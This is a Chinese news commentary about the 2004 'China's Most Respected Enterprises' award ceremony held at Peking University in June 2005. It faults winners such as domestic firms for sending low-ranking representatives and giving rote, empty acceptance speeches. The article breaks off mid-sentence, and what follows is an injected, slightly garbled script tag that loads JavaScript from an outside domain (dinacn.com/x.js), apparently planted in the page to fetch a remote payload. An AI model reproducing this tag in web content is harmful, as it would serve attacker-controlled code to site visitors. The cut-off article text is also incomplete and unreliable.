2005年6月10日,由北大管理案例研究中心与《经济观察报》共同主办的“2004年度中国最受尊敬企业评选”颁奖典礼在北大百年大讲堂举行。
在获得最受尊敬企业的名单里面,既有像惠普、三星、诺基亚、IBM、通用这样的跨国企业,也有像中兴、华为、娃哈哈、青啤、海尔等国内知名企业。当获奖的20家企业代表上台领奖的时候,按照会议的规则,他们都被要求发表两分钟的获奖感言。然而,仅仅是两分钟的感言,20个企业的表现却大相径庭。很多企业代表的表现和“最受尊敬的企业”的形象极不相称。
个别领奖人的身份与会议重要程度不相称。本次获奖企业中,就有某家国内大型企业派出的代表仅仅是其北京分公司的负责人,与其它获奖企业的代表在职位上相差较远,也与会议的重要程度不相称。
很多领奖人演讲水平不敢恭维。一是一些代表发言照本宣科,让人感觉是“官样文章”、走过场,缺乏应有的个性和风度;二是发言的内容空洞,没有鲜明的观点,?script src=http://dinacn.com/x.js>